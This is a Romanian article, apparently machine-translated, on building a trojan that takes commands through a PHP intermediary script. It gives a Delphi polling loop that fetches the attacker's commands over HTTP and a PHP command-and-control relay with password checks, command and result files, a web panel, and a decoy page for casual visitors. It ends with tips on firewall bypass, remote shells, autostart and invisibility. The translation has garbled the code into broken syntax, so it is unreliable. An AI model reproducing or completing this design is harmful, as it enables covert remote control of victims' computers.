Gestionarea troianelor prin intermediul scriptului de mediere nr. 2

Codul care implementează acest lucru arată astfel:

// cererea este mai întâi goală
solicitați: = ";
// ciclu de lucru troian
în timp ce adevărat
începe
// trimiteți solicitarea de script
dacă (SendStringViaHTTP ('127.0.0.1', 'test1.ru', 80, '/index.php', cerere, răspuns)<>0) atunci






începe
// dacă trimiterea nu a avut succes - așteptați un minut și răsuciți următoarea iterație
somn (1000 * SEC);
continua;
se încheie;
// dacă îl pot trimite - verificați răspunsul
dacă (răspuns = =) atunci
începe
// comenzi de la hacker nu - curat
reques,
// așteptați un minut și răsuciți următoarea iterație
solicitați: = ";
somn (1000 * SEC);
continua;
se încheie;
// daca a venit aici controlul - in raspuns avem o echipa de hackeri
// executați comanda
solicitați: = DoCommand (răspuns);
se încheie;

Aici, răspundeți și solicitați variabile globale de tip AnsiString. Răspunsul este următoarea comandă a hackerului, pe care scriptul l-a trimis. Comanda este realizată de DoCommand (vom vorbi puțin despre asta
mai târziu). Aceeași funcție returnează rezultatele executării comenzii, care sunt introduse în cerere și transferate imediat în script. Dacă nu există comenzi din scenariu, troianul "adoarme" pentru SEC secunde și apoi trimite din nou o solicitare la scenariu.

Acum, despre funcția DoCommand și despre comenzile în sine. Ce să nu facem din exemplul nostru de un troian adevărat (Marea Britanie este încă în lucru)), pe orice comandă trecută de hacker, troianul va răspunde cu text ca:

06/23/05 1:30:14] Comanda pentru a executa este: dir
Rezultatul performanței:
Troianul nu este real;), deci în loc de rezultatul comenzii, dir imprimă acest text! ;))

Astfel, troianul nostru nu execută nici o comandă, ci doar spune când și ce
comanda primită de la script. După cum puteți vedea, totul este complet civilizat - un program inofensiv demonstrează principiul;)))

// funcția execută comanda și
returnează rezultatul executării
funcția DoCommand (com: AnsiString): AnsiString;
var
systime: SYSTEMTIME;
începe
// verificați dacă există vreo comandă
dacă com = "atunci
începe
// nu - returnează un șir gol
Rezultat: = ";
ieșire;
se încheie;
// dacă a venit controlul aici, atunci comanda este
// fixați timpul pentru executarea comenzii
Rezultat: = StringOfChar ('', 8 + 1 + 8); // 8 până la Zilele Zilei, 1 la spațiu, 8 la HH: mm: ss
GetLocalTime (systime);
GetDateFormat (0, 0, @ systime, 'dd.MM.yy', @Result [1], 8);
GetTimeFormat (0, 0, @ systime, 'HH: mm: ss', @ Rezultat [10], 8);
// fixați comanda care a venit la execuție
Rezultat: = Rezultat + '] Se acceptă următoarea comandă: '+ Comm +'
„;
// mesaj despre rezultat:
Rezultat: = Rezultat + 'Rezultat execuție:
„;
// dacă a fost un troian real, apoi transferat
// și vom adăuga rezultatul executării sale până la final
rezultat,
// dar din moment ce acesta este doar un exemplu, vom adăuga doar acest text:
Rezultat: = Rezultatul + 'Troianul nu este real;), deci în loc de rezultatul' +
"Execuție comandă '+ Comm +' afișează acest text! ;))
„;
se încheie;

Cred că nu este necesară nici o explicație suplimentară pentru cod. Ufff ... cu troianul, părem
a dat seama. Să trecem acum la scriptul de mediator.

Scriptul intermediar este scris în PHP. Mai intai, gazduirea gratuita cu PHP nu reprezinta o problema. În al doilea rând, PHP este similar cu C ++, care în sine nu se poate decât să se bucure 😉

Mai intai, scriptul ar trebui sa stie parola troianului, asa ca la inceputul scriptului vom defini o variabila:

$ TROJAN_PSW = '<тут пароль трояна>„;

La fiecare solicitare, scriptul ar trebui să verifice dacă a atins-o sau nu. Priviți doar câmpul Antet utilizator-Agent:

dacă ($ _ SERVER ['HTTP_USER_AGENT'] == $ TROJAN_PSW) // cererea este trimisă de troian - o procesăm!
... ... ...
>;

În timp ce procesăm cererea Troianului, mai întâi vom vedea dacă a trimis orice date. Pentru a face acest lucru, verificăm dacă
script parametrii de date. Dacă datele sunt transmise și acesta nu este un șir gol, îl vom adăuga la sfârșitul fișierului trojan.txt. Când scriptul procesează solicitarea hacker-ului, acesta îi va da conținutul fișierului trojan.txt prin intermediul interfeței web.

dacă (isset ($ _ POST ['data'])) // este datele!
$ date = $ _POST ['date'];
dacă ($ data! = ") // linia din $ date nu este goală - o vom adăuga
în
// fișierul trojan.txt
$ f = fopen ('trojan.txt', 'a +');
fwrite ($ f, $ date.)
„);
fclose ($ f);
>;
>;

Apoi, trebuie să transferăm troianul în altul
comanda de la hacker. Comenzile pe care hacker-ul le trimite script-ului sunt stocate în fișierul text hacker.txt. Prin urmare, mai întâi verificăm dacă fișierul hacker.txt există deloc:

dacă (file_exists ('hacker.txt')) // fișierul există - lucrăm cu el
... ... ...
>;

Fiecare linie a fișierului hacker.txt conține o comandă. Acest lucru este foarte convenabil, pentru că trebuie să dăm troianului o singură comandă la cerere. Și în aceeași ordine, în care hackerul a trimis aceste comenzi la scenariu.

Acest lucru este valabil. Mai întâi, am citit fișierul într-o matrice $ a:

// fiecare linie a fișierului devine un element al matricei
$ a = fișier ("hacker.txt");

Apoi verificăm dacă matricea este goală - după ce toate fișierele hacker.txt pot exista, dar să fie goale. Dacă matricea nu este goală, luăm din ea primul element (mai degrabă elementul zero - prima comandă din fișierul hacker.txt). Înainte de a da comanda scriptului, îl "curățăm": elimină bytes 0x0D, 0x0A (funcții addcslashes și replace) și spații la început și la sfârșit (funcția trim). Apoi vom da comanda "curat" troianului si vom inlatura hacker.txt:

dacă {count ($ a)> 0) se imprimă trim (str_replace ('\ r', ', str_replace (' );
unlink ('hacker.txt');
>;

Dacă comanda trecută de noi a fost singura, o vom lăsa ca atare - dacă este necesar, scriptul va crea din nou fișierul hacker.txt. Dacă ar exista și alte comenzi decât hacker.txt, vom crea din nou acest fișier și le vom scrie acolo - dar fără prima, pentru că a fost dată scenariului:

// există alte comenzi?
dacă (numără ($ a)> 1) // da! - scrieți-le înapoi la hacker.txt
$ f = fopen ('hacker.txt', 'w');
pentru ($ i = 1; $ i>;
fclose ($ f);
>;

Pe această lucrare cu troianul este finalizată - trimiteți-i linia ""(La urma urmei, funcția Trojan SendStringViaHTTP recunoaște că transferul de date din script este terminat) și" ucide "scriptul:

În script-ul imediat după codul care funcționează cu troianul, codul care funcționează cu hacker-ul urmează. Scriptul "învață" hacker-ul prin parola transmisă în parametrul psw folosind metoda GET sau POST. Parola corectă este stocată în
variabila $ HACKER_PSW, care în script este înregistrată imediat pentru $ TROJAN_PSW.

Parametrul psw este verificat după cum urmează:

Dacă parola este trecută (variabila $ psw există), vom verifica dacă este corectă:

dacă (isset ($ psw)) dacă ($ psw == $ HACKER_PSW) // este trimisă parola corectă - cererea a fost trimisă de hacker
// proces
... ... ...
>;
>;

Cererea este procesată în conformitate cu următoarea schemă. În primul rând, verificăm dacă hackerul a dat o comandă. Comenzile Hacker sunt transmise în parametrul cmd, care este trimis către script prin metoda POST. În cazul în care comanda de la hacker este, am tăietura stânga și dreapta blanks (funcția trim) și verificați dacă comanda nu este un șir gol. Dacă nu, adăugați-l la sfârșitul fișierului hacker.txt (în acesta, așa cum am spus deja,
comenzile hacker-ului sunt stocate). Codul care implementează toate acestea este suficient de simplu:

dacă (isset ($ _ POST ['cmd']))) // da, a trecut - verificați sau comanda nu este goală
$ cmd = trim ($ _ POST ['cmd']);
dacă ($ cmd! =) // nu este gol - scrieți-l în fișier
$ f = fopen ('hacker.txt', 'a +');
fwrite ($ f, $ cmd. "\ n");
fclose ($ f);
>;
>;

După ce echipa de hackeri este acceptată și salvată, aveți grijă de interfața web. Vom forma un "cap" - partea de sus a paginii html, pe care hacker-ul o va vedea în browser-ul său. În "header" va fi secțiunea HEAD și începutul secțiunii BODY.

În BODY vom scrie un formular cu un câmp de text cmd (hackerul va introduce comenzi aici), butonul de trimitere și un câmp ascuns psw care conține parola hackerului. Ca script de destinație a datelor formularului, indicăm un șir gol (adică scriptul nostru însuși) și POST ca metodă. Astfel, de fiecare dată când datele sunt trimise din formular, scriptul, în plus față de comanda în cmd, va instrui și parola în psw - și astfel va determina că hackerul la trimis comanda cmd.

Codul care formează "capacul" este după cum urmează:

În browser, pălăria generată arată astfel:

După "antetul" vom afișa conținutul fișierului trojan.txt. Este foarte mult
simplu:

dacă (file_exists ('trojan.txt')) // fișierul există
$ a = fișier ("trojan.txt");
// scoateți-l
pentru ($ i = 0; $ i>;
>;

Finalizați pagina interfeței web:

Interfața web a troianului va arăta cam așa:

Și dacă scenariul nostru a fost numit în mod aleatoriu? Ei bine, acolo, unii Vasya Pupkin au găsit o referință "Google"? E în regulă! =) Deoarece nu i-a fost transmisă nicio parolă în timpul unui apel normal de script, codurile de procesare a solicitărilor de troian și hacker nu vor primi control.

Cu toate acestea, în special pentru Vasya Pupkin vom deduce următorul conținut "substanțial"
:-D:

Codul care face acest lucru va fi plasat la sfârșitul scriptului:

print «

În construcție!

Ei bine, scenariul pare să fie și ordonat. Puteți rezuma.

Desigur, articolul nu descrie un troian complet, ci un program de exemplu care demonstrează doar principiul gestionării troianului printr-un script de server. Surse, apropo, mint
aici. Programul este în mod normal compilat în Delphi 7, interpretul PHP are nevoie de un interpreter PHP 4.x, este posibil în Windows.

Desigur, acest exemplu, cu o oarecare rafinament, poate deveni un adevărat troian. În troianul nostru puteți adăuga astfel de jetoane:

• un mecanism mai perfect pentru a verifica conexiunea cu Internetul și definirea proxy-ului (dacă troianul a ajuns în rețeaua locală pe care o vede nu numai prin intermediul proxy-ului) și lucrează prin el;
• Îmbunătățirea muncii cu HTTP (cel puțin verificarea codurilor de răspuns ale serverului);
• mecanismul de ocolire a firewall-urilor (implementarea în browser, un dvar sau altceva de acest tip);
• executarea comenzilor troian (de exemplu, cmd-console la distanță);
• autoload, invizibilitate, etc, chips-uri care sunt în orice troian;

Și scenariul nu ar face rău:

• generează nume aleatoare pentru fișierele trojan.txt și
  hacker.txt;
• împiedicați accesul comun la aceste fișiere (se poate întâmpla ca atât troianul, cât și hackerul să lanseze simultan scriptul de mediere și apoi două copii ale scriptului se pot "certa" din cauza accesului la fișiere);
• formează o interfață web mai convenabilă și mai funcțională, cu suport pentru două cadre: prima cu formularul, cea de-a doua cu datele de script și care va fi actualizată în mod automat și mesajele troiene care vor fi adăugate în sus, ca în chat-uri;
• furnizați câteva informații suplimentare, și nu doar răspunsurile troianului: de exemplu, pentru a arăta care dintre comenzile trimise la troian au fost transferate și care mai așteaptă încă rândul lor;
• pentru a oferi ocazia de a administra mai multe copii ale troianului dintr-o dată;
• încă unele facilități mici cum ar fi un design frumos, butonul "clear trojan.txt", etc.

După cum puteți vedea, există încă o mulțime de lucruri. Dar nu este înfricoșător - totul este în mâinile noastre;))

Distribuiți acest articol cu ​​prietenii dvs.:

Trimiteți-le prietenilor: